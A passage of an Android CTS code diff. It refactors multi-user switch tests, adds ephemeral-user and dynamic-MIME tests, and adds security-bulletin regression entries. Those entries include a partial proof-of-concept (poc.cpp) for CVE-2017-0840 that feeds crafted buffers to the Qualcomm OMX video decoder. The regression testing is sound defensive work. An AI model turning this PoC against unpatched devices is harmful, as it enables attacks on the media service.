+ private void bypassTestForFeatures(String... features) throws Exception {
+ for (String feature : features) {
+ assumeFalse(hasDeviceFeature(feature));
+ }
+ }
+
+ @Before
+ public void setUp() throws Exception {
+ // We do not care about non-handheld devices
+ bypassTestForFeatures(FEATURE_AUTOMOTIVE, FEATURE_EMBEDDED, FEATURE_LEANBACK_ONLY,
+ FEATURE_WATCH, FEATURE_TELEVISION);
+ }
+
@Test
public void testFrameTracerProducerAvailable() throws Exception {
CommandResult queryResult = getDevice().executeShellV2Command("perfetto --query-raw | base64");
diff --git a/hostsidetests/media/bitstreams/app/AndroidManifest.xml b/hostsidetests/media/bitstreams/app/AndroidManifest.xml
index 0f77bad..f20f49c 100644
--- a/hostsidetests/media/bitstreams/app/AndroidManifest.xml
+++ b/hostsidetests/media/bitstreams/app/AndroidManifest.xml
@@ -18,6 +18,7 @@
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="android.media.cts.bitstreams.app">
+ <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<application>
<uses-library android:name="android.test.runner" />
diff --git a/hostsidetests/media/bitstreams/app/src/android/media/cts/bitstreams/app/MediaBitstreamsDeviceSideTest.java b/hostsidetests/media/bitstreams/app/src/android/media/cts/bitstreams/app/MediaBitstreamsDeviceSideTest.java
index ae8d4a8..1839296 100644
--- a/hostsidetests/media/bitstreams/app/src/android/media/cts/bitstreams/app/MediaBitstreamsDeviceSideTest.java
+++ b/hostsidetests/media/bitstreams/app/src/android/media/cts/bitstreams/app/MediaBitstreamsDeviceSideTest.java
@@ -27,6 +27,7 @@
import android.media.cts.bitstreams.MediaBitstreams;
import android.os.Bundle;
import android.os.Debug;
+import android.os.Environment;
import android.util.Xml;
import androidx.test.InstrumentationRegistry;
@@ -355,7 +356,7 @@
try {
- File tmpf = File.createTempFile(getClass().getSimpleName(), suffix, mAppCache);
+ File tmpf = File.createTempFile(getClass().getSimpleName(), suffix, Environment.getExternalStorageDirectory());
Instrumentation inst = InstrumentationRegistry.getInstrumentation();
Bundle bundle = new Bundle();
bundle.putString(MediaBitstreams.KEY_APP_CACHE_DIR, mAppCache.getCanonicalPath());
diff --git a/hostsidetests/multiuser/src/android/host/multiuser/BaseMultiUserTest.java b/hostsidetests/multiuser/src/android/host/multiuser/BaseMultiUserTest.java
index 4cbe7ae..07883e0 100644
--- a/hostsidetests/multiuser/src/android/host/multiuser/BaseMultiUserTest.java
+++ b/hostsidetests/multiuser/src/android/host/multiuser/BaseMultiUserTest.java
@@ -23,7 +23,20 @@
import org.junit.After;
import org.junit.Before;
+import org.junit.rules.TestRule;
+import org.junit.runner.Description;
+import org.junit.runners.model.Statement;
+
import java.util.ArrayList;
+import java.util.HashSet;
+import java.util.LinkedHashSet;
+import java.util.Scanner;
+import java.util.Set;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
/**
* Base class for multi user tests.
@@ -39,6 +52,10 @@
*/
private static final String FEATURE_AUTOMOTIVE = "feature:android.hardware.type.automotive";
+
+ protected static final long LOGCAT_POLL_INTERVAL_MS = 1000;
+ protected static final long USER_SWITCH_COMPLETE_TIMEOUT_MS = 360_000;
+
/** Whether multi-user is supported. */
protected boolean mSupportsMultiUser;
protected boolean mIsSplitSystemUser;
@@ -145,6 +162,96 @@
return getDevice().hasFeature(FEATURE_AUTOMOTIVE);
}
+ protected void assertSwitchToNewUser(int toUserId) throws Exception {
+ final String exitString = "Finished processing BOOT_COMPLETED for u" + toUserId;
+ final Set<String> appErrors = new LinkedHashSet<>();
+ getDevice().executeAdbCommand("logcat", "-b", "all", "-c"); // Reset log
+ assertTrue("Couldn't switch to user " + toUserId, getDevice().switchUser(toUserId));
+ final boolean result = waitForUserSwitchComplete(appErrors, toUserId, exitString);
+ assertTrue("Didn't receive BOOT_COMPLETED delivered notification. appErrors="
+ + appErrors, result);
+ if (!appErrors.isEmpty()) {
+ throw new AppCrashOnBootError(appErrors);
+ }
+ }
+
+ protected void assertSwitchToUser(int fromUserId, int toUserId) throws Exception {
+ final String exitString = "uc_continue_user_switch: [" + fromUserId + "," + toUserId + "]";
+ final Set<String> appErrors = new LinkedHashSet<>();
+ getDevice().executeAdbCommand("logcat", "-b", "all", "-c"); // Reset log
+ assertTrue("Couldn't switch to user " + toUserId, getDevice().switchUser(toUserId));
+ final boolean result = waitForUserSwitchComplete(appErrors, toUserId, exitString);
+ assertTrue("Didn't reach \"Continue user switch\" stage. appErrors=" + appErrors, result);
+ if (!appErrors.isEmpty()) {
+ throw new AppCrashOnBootError(appErrors);
+ }
+ }
+
+ protected void assertUserNotPresent(int userId) throws Exception {
+ assertFalse("User ID " + userId + " should not be present",
+ getDevice().listUsers().contains(userId));
+ }
+
+ /*
+ * Waits for userId to removed or at removing state.
+ * Returns true if user is removed or at removing state.
+ * False if user is not removed by USER_SWITCH_COMPLETE_TIMEOUT_MS.
+ */
+ protected boolean waitForUserRemove(int userId)
+ throws DeviceNotAvailableException, InterruptedException {
+ // Example output from dumpsys when user is flagged for removal:
+ // UserInfo{11:Driver:154} serialNo=50 <removing> <partial>
+ final String userSerialPatter = "(.*\\{)(\\d+)(.*\\})(.*=)(\\d+)(.*)";
+ final Pattern pattern = Pattern.compile(userSerialPatter);
+ long ti = System.currentTimeMillis();
+ while (System.currentTimeMillis() - ti < USER_SWITCH_COMPLETE_TIMEOUT_MS) {
+ if (!getDevice().listUsers().contains(userId)) {
+ return true;
+ }
+ String commandOutput = getDevice().executeShellCommand("dumpsys user");
+ Matcher matcher = pattern.matcher(commandOutput);
+ while(matcher.find()) {
+ if (Integer.parseInt(matcher.group(2)) == userId
+ && matcher.group(6).contains("removing")) {
+ return true;
+ }
+ }
+ Thread.sleep(LOGCAT_POLL_INTERVAL_MS);
+ }
+ return false;
+ }
+
+ private boolean waitForUserSwitchComplete(Set<String> appErrors, int targetUserId,
+ String exitString) throws DeviceNotAvailableException, InterruptedException {
+ boolean mExitFound = false;
+ long ti = System.currentTimeMillis();
+ while (System.currentTimeMillis() - ti < USER_SWITCH_COMPLETE_TIMEOUT_MS) {
+ String logs = getDevice().executeAdbCommand("logcat", "-b", "all", "-d",
+ "ActivityManager:D", "AndroidRuntime:E", "*:I");
+ Scanner in = new Scanner(logs);
+ while (in.hasNextLine()) {
+ String line = in.nextLine();
+ if (line.contains("Showing crash dialog for package")) {
+ appErrors.add(line);
+ } else if (line.contains(exitString)) {
+ // Parse all logs in case crashes occur as a result of onUserChange callbacks
+ mExitFound = true;
+ } else if (line.contains("FATAL EXCEPTION IN SYSTEM PROCESS")) {
+ throw new IllegalStateException("System process crashed - " + line);
+ }
+ }
+ in.close();
+ if (mExitFound) {
+ if (!appErrors.isEmpty()) {
+ CLog.w("App crash dialogs found: " + appErrors);
+ }
+ return true;
+ }
+ Thread.sleep(LOGCAT_POLL_INTERVAL_MS);
+ }
+ return false;
+ }
+
private void removeTestUsers() throws Exception {
for (int userId : getDevice().listUsers()) {
if (!mFixedUsers.contains(userId)) {
@@ -160,4 +267,60 @@
|| "1".equals(commandOuput) || "true".equals(commandOuput)
|| "on".equals(commandOuput);
}
+
+ static class AppCrashOnBootError extends AssertionError {
+ private static final Pattern PACKAGE_NAME_PATTERN = Pattern.compile("package ([^\\s]+)");
+ private Set<String> errorPackages;
+
+ AppCrashOnBootError(Set<String> errorLogs) {
+ super("App error dialog(s) are present: " + errorLogs);
+ this.errorPackages = errorLogsToPackageNames(errorLogs);
+ }
+
+ private static Set<String> errorLogsToPackageNames(Set<String> errorLogs) {
+ Set<String> result = new HashSet<>();
+ for (String line : errorLogs) {
+ Matcher matcher = PACKAGE_NAME_PATTERN.matcher(line);
+ if (matcher.find()) {
+ result.add(matcher.group(1));
+ } else {
+ throw new IllegalStateException("Unrecognized line " + line);
+ }
+ }
+ return result;
+ }
+ }
+
+ /**
+ * Rule that retries the test if it failed due to {@link AppCrashOnBootError}
+ */
+ public static class AppCrashRetryRule implements TestRule {
+
+ @Override
+ public Statement apply(Statement base, Description description) {
+ return new Statement() {
+ @Override
+ public void evaluate() throws Throwable {
+ Set<String> errors = evaluateAndReturnAppCrashes(base);
+ if (errors.isEmpty()) {
+ return;
+ }
+ CLog.e("Retrying due to app crashes: " + errors);
+ // Fail only if same apps are crashing in both runs
+ errors.retainAll(evaluateAndReturnAppCrashes(base));
+ assertTrue("App error dialog(s) are present after 2 attempts: " + errors,
+ errors.isEmpty());
+ }
+ };
+ }
+
+ private static Set<String> evaluateAndReturnAppCrashes(Statement base) throws Throwable {
+ try {
+ base.evaluate();
+ } catch (AppCrashOnBootError e) {
+ return e.errorPackages;
+ }
+ return new HashSet<>();
+ }
+ }
}
diff --git a/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersNoAppCrashesTest.java b/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersNoAppCrashesTest.java
index fe23555..1513232 100644
--- a/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersNoAppCrashesTest.java
+++ b/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersNoAppCrashesTest.java
@@ -19,36 +19,21 @@
import android.platform.test.annotations.Presubmit;
import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.log.LogUtil.CLog;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
-import org.junit.rules.TestRule;
-import org.junit.runner.Description;
import org.junit.runner.RunWith;
-import org.junit.runners.model.Statement;
-import java.util.HashSet;
-import java.util.LinkedHashSet;
-import java.util.Scanner;
-import java.util.Set;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
-import static org.junit.Assert.assertTrue;
-
/**
* Test verifies that users can be created/switched to without error dialogs shown to the user
* Run: atest CreateUsersNoAppCrashesTest
*/
@RunWith(DeviceJUnit4ClassRunner.class)
public class CreateUsersNoAppCrashesTest extends BaseMultiUserTest {
- private static final long LOGCAT_POLL_INTERVAL_MS = 1000;
- private static final long USER_SWITCH_COMPLETE_TIMEOUT_MS = 180000;
-
- @Rule public AppCrashRetryRule appCrashRetryRule = new AppCrashRetryRule();
@Presubmit
@Test
@@ -77,116 +62,4 @@
assertSwitchToNewUser(userId);
assertSwitchToUser(userId, mInitialUserId);
}
-
- private void assertSwitchToNewUser(int toUserId) throws Exception {
- final String exitString = "Finished processing BOOT_COMPLETED for u" + toUserId;
- final Set<String> appErrors = new LinkedHashSet<>();
- getDevice().executeAdbCommand("logcat", "-b", "all", "-c"); // Reset log
- assertTrue("Couldn't switch to user " + toUserId, getDevice().switchUser(toUserId));
- final boolean result = waitForUserSwitchComplete(appErrors, toUserId, exitString);
- assertTrue("Didn't receive BOOT_COMPLETED delivered notification. appErrors="
- + appErrors, result);
- if (!appErrors.isEmpty()) {
- throw new AppCrashOnBootError(appErrors);
- }
- }
-
- private void assertSwitchToUser(int fromUserId, int toUserId) throws Exception {
- final String exitString = "uc_continue_user_switch: [" + fromUserId + "," + toUserId + "]";
- final Set<String> appErrors = new LinkedHashSet<>();
- getDevice().executeAdbCommand("logcat", "-b", "all", "-c"); // Reset log
- assertTrue("Couldn't switch to user " + toUserId, getDevice().switchUser(toUserId));
- final boolean result = waitForUserSwitchComplete(appErrors, toUserId, exitString);
- assertTrue("Didn't reach \"Continue user switch\" stage. appErrors=" + appErrors, result);
- if (!appErrors.isEmpty()) {
- throw new AppCrashOnBootError(appErrors);
- }
- }
-
- private boolean waitForUserSwitchComplete(Set<String> appErrors, int targetUserId,
- String exitString) throws DeviceNotAvailableException, InterruptedException {
- boolean mExitFound = false;
- long ti = System.currentTimeMillis();
- while (System.currentTimeMillis() - ti < USER_SWITCH_COMPLETE_TIMEOUT_MS) {
- String logs = getDevice().executeAdbCommand("logcat", "-b", "all", "-d",
- "ActivityManager:D", "AndroidRuntime:E", "*:I");
- Scanner in = new Scanner(logs);
- while (in.hasNextLine()) {
- String line = in.nextLine();
- if (line.contains("Showing crash dialog for package")) {
- appErrors.add(line);
- } else if (line.contains(exitString)) {
- // Parse all logs in case crashes occur as a result of onUserChange callbacks
- mExitFound = true;
- } else if (line.contains("FATAL EXCEPTION IN SYSTEM PROCESS")) {
- throw new IllegalStateException("System process crashed - " + line);
- }
- }
- in.close();
- if (mExitFound) {
- if (!appErrors.isEmpty()) {
- CLog.w("App crash dialogs found: " + appErrors);
- }
- return true;
- }
- Thread.sleep(LOGCAT_POLL_INTERVAL_MS);
- }
- return false;
- }
-
- static class AppCrashOnBootError extends AssertionError {
- private static final Pattern PACKAGE_NAME_PATTERN = Pattern.compile("package ([^\\s]+)");
- private Set<String> errorPackages;
-
- AppCrashOnBootError(Set<String> errorLogs) {
- super("App error dialog(s) are present: " + errorLogs);
- this.errorPackages = errorLogsToPackageNames(errorLogs);
- }
-
- private static Set<String> errorLogsToPackageNames(Set<String> errorLogs) {
- Set<String> result = new HashSet<>();
- for (String line : errorLogs) {
- Matcher matcher = PACKAGE_NAME_PATTERN.matcher(line);
- if (matcher.find()) {
- result.add(matcher.group(1));
- } else {
- throw new IllegalStateException("Unrecognized line " + line);
- }
- }
- return result;
- }
- }
-
- /**
- * Rule that retries the test if it failed due to {@link AppCrashOnBootError}
- */
- public static class AppCrashRetryRule implements TestRule {
-
- @Override
- public Statement apply(Statement base, Description description) {
- return new Statement() {
- @Override
- public void evaluate() throws Throwable {
- Set<String> errors = evaluateAndReturnAppCrashes(base);
- if (errors.isEmpty()) {
- return;
- }
- CLog.e("Retrying due to app crashes: " + errors);
- // Fail only if same apps are crashing in both runs
- errors.retainAll(evaluateAndReturnAppCrashes(base));
- assertTrue("App error dialog(s) are present after 2 attempts: " + errors,
- errors.isEmpty());
- }
- };
- }
-
- private static Set<String> evaluateAndReturnAppCrashes(Statement base) throws Throwable {
- try {
- base.evaluate();
- } catch (AppCrashOnBootError e) {
- return e.errorPackages;
- }
- return new HashSet<>();
- }
- }
}
diff --git a/hostsidetests/multiuser/src/android/host/multiuser/EphemeralTest.java b/hostsidetests/multiuser/src/android/host/multiuser/EphemeralTest.java
new file mode 100644
index 0000000..1b53675
--- /dev/null
+++ b/hostsidetests/multiuser/src/android/host/multiuser/EphemeralTest.java
@@ -0,0 +1,81 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+package android.host.multiuser;
+
+import android.platform.test.annotations.Presubmit;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+/**
+ * Test verifies that ephemeral users are removed after switched away and after reboot.
+ * Run: atest android.host.multiuser.EphemeralTest
+ */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class EphemeralTest extends BaseMultiUserTest {
+
+ /** Test to verify ephemeral user is removed after switch out to another user. */
+ @Presubmit
+ @Test
+ public void testSwitchAndRemoveEphemeralUser() throws Exception {
+ if (!mSupportsMultiUser) {
+ return;
+ }
+ int ephemeralUserId = -1;
+ try {
+ ephemeralUserId = getDevice().createUser(
+ "TestUser_" + System.currentTimeMillis() /* name */,
+ false /* guest */,
+ true /* ephemeral */);
+ } catch (Exception e) {
+ CLog.w("Failed to create user. Skipping test.");
+ return;
+ }
+ assertSwitchToNewUser(ephemeralUserId);
+ assertSwitchToUser(ephemeralUserId, mInitialUserId);
+ waitForUserRemove(ephemeralUserId);
+ assertUserNotPresent(ephemeralUserId);
+ }
+
+ /** Test to verify ephemeral user is removed after reboot. */
+ @Presubmit
+ @Test
+ public void testRebootAndRemoveEphemeralUser() throws Exception {
+ if (!mSupportsMultiUser) {
+ return;
+ }
+ int ephemeralUserId = -1;
+ try {
+ ephemeralUserId = getDevice().createUser(
+ "TestUser_" + System.currentTimeMillis() /* name */,
+ false /* guest */,
+ true /* ephemeral */);
+ } catch (Exception e) {
+ CLog.w("Failed to create user. Skipping test.");
+ return;
+ }
+ assertSwitchToNewUser(ephemeralUserId);
+ getDevice().reboot();
+ assertUserNotPresent(ephemeralUserId);
+ }
+}
diff --git a/hostsidetests/packagemanager/dynamicmime/app/manifests/AndroidManifest_preferred.xml b/hostsidetests/packagemanager/dynamicmime/app/manifests/AndroidManifest_preferred.xml
index 83cdf0e..a2b7c08 100644
--- a/hostsidetests/packagemanager/dynamicmime/app/manifests/AndroidManifest_preferred.xml
+++ b/hostsidetests/packagemanager/dynamicmime/app/manifests/AndroidManifest_preferred.xml
@@ -23,7 +23,7 @@
<uses-library android:name="android.test.runner" />
<activity android:name="android.dynamicmime.common.activity.FirstActivity">
<intent-filter android:label="TestApp.FirstActivity">
- <action android:name="android.intent.action.SEND"/>
+ <action android:name="android.dynamicmime.preferred.TEST_ACTION"/>
<action android:name="android.dynamicmime.preferred.FILTER_INFO_HOOK_group_first"/>
<category android:name="android.intent.category.DEFAULT"/>
<data android:mimeGroup="group_first"/>
@@ -32,14 +32,34 @@
<activity android:name="android.dynamicmime.common.activity.TwoGroupsActivity">
<intent-filter android:label="TestApp.TwoGroupsActivity">
- <action android:name="android.intent.action.SEND"/>
- <category android:name="android.intent.category.DEFAULT"/>
+ <action android:name="android.dynamicmime.preferred.TEST_ACTION"/>
<action android:name="android.dynamicmime.preferred.FILTER_INFO_HOOK_group_both"/>
+ <category android:name="android.intent.category.DEFAULT"/>
<data android:mimeGroup="group_third"/>
<data android:mimeGroup="group_second"/>
</intent-filter>
</activity>
+ <activity android:name="android.dynamicmime.common.activity.StaticActivity1"
+ android:exported="true">
+ <intent-filter android:label="StaticActivity1">
+ <action android:name="android.dynamicmime.preferred.TEST_ACTION"/>
+ <category android:name="android.intent.category.DEFAULT"/>
+ <data android:mimeType="text/plain"/>
+ <data android:mimeType="image/png"/>
+ </intent-filter>
+ </activity>
+
+ <activity android:name="android.dynamicmime.common.activity.StaticActivity2"
+ android:exported="true">
+ <intent-filter android:label="StaticActivity2">
+ <action android:name="android.dynamicmime.preferred.TEST_ACTION"/>
+ <category android:name="android.intent.category.DEFAULT"/>
+ <data android:mimeType="text/plain"/>
+ <data android:mimeType="image/png"/>
+ </intent-filter>
+ </activity>
+
<receiver android:name="android.dynamicmime.app.AppMimeGroupsReceiver"
android:exported="true">
<intent-filter>
diff --git a/hostsidetests/packagemanager/dynamicmime/common/src/android/dynamicmime/common/activity/StaticActivity1.java b/hostsidetests/packagemanager/dynamicmime/common/src/android/dynamicmime/common/activity/StaticActivity1.java
new file mode 100644
index 0000000..a76f09e
--- /dev/null
+++ b/hostsidetests/packagemanager/dynamicmime/common/src/android/dynamicmime/common/activity/StaticActivity1.java
@@ -0,0 +1,27 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.dynamicmime.common.activity;
+
+import android.app.Activity;
+
+/**
+ * Activity that has intent-filter to handle "text/plain" and "image/png" MIME types.
+ *
+ * Needed for {@link android.dynamicmime.testapp.preferred.PreferredActivitiesTest} to ensure that
+ * there is more than one activity, capable of handling certain MIME types.
+ */
+public class StaticActivity1 extends Activity {
+}
\ No newline at end of file
diff --git a/hostsidetests/packagemanager/dynamicmime/common/src/android/dynamicmime/common/activity/StaticActivity2.java b/hostsidetests/packagemanager/dynamicmime/common/src/android/dynamicmime/common/activity/StaticActivity2.java
new file mode 100644
index 0000000..ad536db
--- /dev/null
+++ b/hostsidetests/packagemanager/dynamicmime/common/src/android/dynamicmime/common/activity/StaticActivity2.java
@@ -0,0 +1,27 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.dynamicmime.common.activity;
+
+import android.app.Activity;
+
+/**
+ * Activity that has intent-filter to handle "text/plain" and "image/png" MIME types.
+ *
+ * Needed for {@link android.dynamicmime.testapp.preferred.PreferredActivitiesTest} to ensure that
+ * there is more than one activity, capable of handling certain MIME types.
+ */
+public class StaticActivity2 extends Activity {
+}
\ No newline at end of file
diff --git a/hostsidetests/packagemanager/dynamicmime/test/src/android/dynamicmime/testapp/preferred/PreferredActivitiesTest.java b/hostsidetests/packagemanager/dynamicmime/test/src/android/dynamicmime/testapp/preferred/PreferredActivitiesTest.java
index c9e25b0..d37b0f5 100644
--- a/hostsidetests/packagemanager/dynamicmime/test/src/android/dynamicmime/testapp/preferred/PreferredActivitiesTest.java
+++ b/hostsidetests/packagemanager/dynamicmime/test/src/android/dynamicmime/testapp/preferred/PreferredActivitiesTest.java
@@ -54,11 +54,9 @@
@RunWith(AndroidJUnit4.class)
public class PreferredActivitiesTest extends BaseDynamicMimeTest {
- private static final String NAV_BAR_INTERACTION_MODE_RES_NAME = "config_navBarInteractionMode";
- private static final int NAV_BAR_INTERACTION_MODE_GESTURAL = 2;
+ private static final String ACTION = "android.dynamicmime.preferred.TEST_ACTION";
private static final BySelector BUTTON_ALWAYS = By.res("android:id/button_always");
- private static final BySelector RESOLVER_DIALOG = By.res("android:id/contentPanel");
private static final long TIMEOUT = TimeUnit.SECONDS.toMillis(30L);
@@ -71,17 +69,6 @@
@Before
public void setUp() {
Utils.installApk(APK_PREFERRED_APP);
- assumeNavigationMode();
- }
-
- private void assumeNavigationMode() {
- Resources res = context().getResources();
- int navModeResId = res.getIdentifier(NAV_BAR_INTERACTION_MODE_RES_NAME, "integer",
- "android");
- int navMode = res.getInteger(navModeResId);
-
- assumeTrue("Non-gesture navigation mode required",
- navMode != NAV_BAR_INTERACTION_MODE_GESTURAL);
}
@After
@@ -288,10 +275,6 @@
}
private UiObject2 findActivityInDialog(String label) {
- getUiDevice()
- .wait(Until.findObject(RESOLVER_DIALOG), TIMEOUT)
- .swipe(Direction.UP, 1f);
-
return getUiDevice().findObject(By.text(label));
}
@@ -331,7 +314,7 @@
private static void sendIntent(String mimeType) {
Intent sendIntent = new Intent();
- sendIntent.setAction(Intent.ACTION_SEND);
+ sendIntent.setAction(ACTION);
sendIntent.setType(mimeType);
sendIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
targetContext().startActivity(sendIntent, null);
diff --git a/hostsidetests/securitybulletin/AndroidTest.xml b/hostsidetests/securitybulletin/AndroidTest.xml
index df996cf..41a05d5 100644
--- a/hostsidetests/securitybulletin/AndroidTest.xml
+++ b/hostsidetests/securitybulletin/AndroidTest.xml
@@ -223,6 +223,9 @@
<option name="cleanup" value="true" />
<!-- Please add 32-bit binary tests below to avoid merge conflict -->
+ <option name="push" value="CVE-2019-934732->/data/local/tmp/CVE-2019-9347" />
+ <option name="push" value="CVE-2017-084032->/data/local/tmp/CVE-2017-0840" />
+ <option name="push" value="CVE-2017-1324132->/data/local/tmp/CVE-2017-13241" />
<!-- Please add 64-bit binary tests below to avoid merge conflict -->
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0840/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0840/Android.bp
new file mode 100644
index 0000000..4263dee
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0840/Android.bp
@@ -0,0 +1,41 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_test {
+ name: "CVE-2017-0840",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_omxutils",
+ ],
+ shared_libs: [
+ "libstagefright",
+ "libbinder",
+ "libmedia_omx",
+ "libutils",
+ "liblog",
+ "libui",
+ "libstagefright_foundation",
+ "libcutils",
+ "libhidlbase",
+ "android.hidl.allocator@1.0",
+ "android.hidl.memory@1.0",
+ "android.hardware.media.omx@1.0",
+ ],
+ cflags: [
+ "-Wall",
+ "-Werror",
+ ],
+}
+
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0840/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0840/poc.cpp
new file mode 100644
index 0000000..d57a7f2
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0840/poc.cpp
@@ -0,0 +1,123 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include "../includes/omxUtils.h"
+#define EMPTY_BUFFER_DONE_CALLBACK_TIMEOUT_SEC 30
+extern int numCallbackEmptyBufferDone;
+sp<IAllocator> mAllocator = IAllocator::getService("ashmem");
+int allocateHidlPortBuffers(OMX_U32 portIndex, Vector<Buffer> *buffers) {
+ buffers->clear();
+ OMX_PARAM_PORTDEFINITIONTYPE def;
+ int err = omxUtilsGetParameter(portIndex, &def);
+ omxExitOnError(err);
+ for (OMX_U32 i = 0; i < def.nBufferCountActual; ++i) {
+ Buffer buffer;
+ buffer.mFlags = 0;
+ bool success;
+ auto transStatus = mAllocator->allocate(def.nBufferSize,
+ [&success, &buffer](
+ bool s,
+ hidl_memory const& m) {
+ success = s;
+ buffer.mHidlMemory = m;
+ });
+ omxExitOnError(!transStatus.isOk());
+ omxExitOnError(!success);
+ omxUtilsUseBuffer(portIndex, buffer.mHidlMemory, &buffer.mID);
+ buffers->push(buffer);
+ }
+ return OK;
+}
+int main() {
+ /* Initialize OMX for the specified codec */
+ status_t ret = omxUtilsInit((char *) "OMX.qcom.video.decoder.avc");
+ omxExitOnError(ret);
+ int allCallbacksReceivedEmptyBufferDone = 0;
+ /* Get OMX input port parameters */
+ OMX_PARAM_PORTDEFINITIONTYPE *params =
+ (OMX_PARAM_PORTDEFINITIONTYPE *) malloc(
+ sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+ memset(params, 0, sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+ omxUtilsGetParameter(OMX_UTILS_IP_PORT, params);
+ sp < GraphicBuffer > graphicbuffer = new GraphicBuffer(
+ params->format.video.nFrameWidth, params->format.video.nFrameHeight,
+ HAL_PIXEL_FORMAT_YV12,
+ android::GraphicBuffer::USAGE_HW_VIDEO_ENCODER);
+ /* prepare input port buffers */
+ int inMemSize = params->nBufferCountActual * params->nBufferSize;
+ int inBufferCnt = params->nBufferCountActual;
+ int inBufferSize = inMemSize / inBufferCnt;
+ IOMX::buffer_id *inBufferId = new IOMX::buffer_id[inBufferCnt];
+ Vector < Buffer > inputBuffers;
+ Vector < Buffer > outputBuffers;
+ /* Register input buffers with OMX component */
+ for (int i = 0; i < inBufferCnt; i++) {
+ OMXBuffer omxBuf(graphicbuffer);
+ omxUtilsUseBuffer(OMX_UTILS_IP_PORT, omxBuf, &inBufferId[i]);
+ }
+ /* Get OMX output port parameters */
+ memset(params, 0, sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+ omxUtilsGetParameter(OMX_UTILS_OP_PORT, params);
+ /* prepare output port buffers */
+ int outMemSize = params->nBufferCountActual * params->nBufferSize;
+ int outBufferCnt = params->nBufferCountActual;
+ int outBufferSize = outMemSize / outBufferCnt;
+ IOMX::buffer_id *outBufferId = new IOMX::buffer_id[outBufferCnt];
+ /* Register output buffers with OMX component */
+ allocateHidlPortBuffers(OMX_UTILS_OP_PORT, &outputBuffers);
+ for (int i = 0; i < outBufferCnt; i++) {
+ outBufferId[i] = outputBuffers[i].mID;
+ }
+ /* Do OMX State change to Idle */
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+ /* Do OMX State change to Executing */
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateExecuting);
+ for (int i = 0; i < inBufferCnt; i++) {
+ OMXBuffer omxBuf(0, inBufferSize);
+ omxUtilsEmptyBuffer(inBufferId[i], omxBuf, 0, 0, -1);
+ }
+ for (int i = 0; i < 1; i++) {
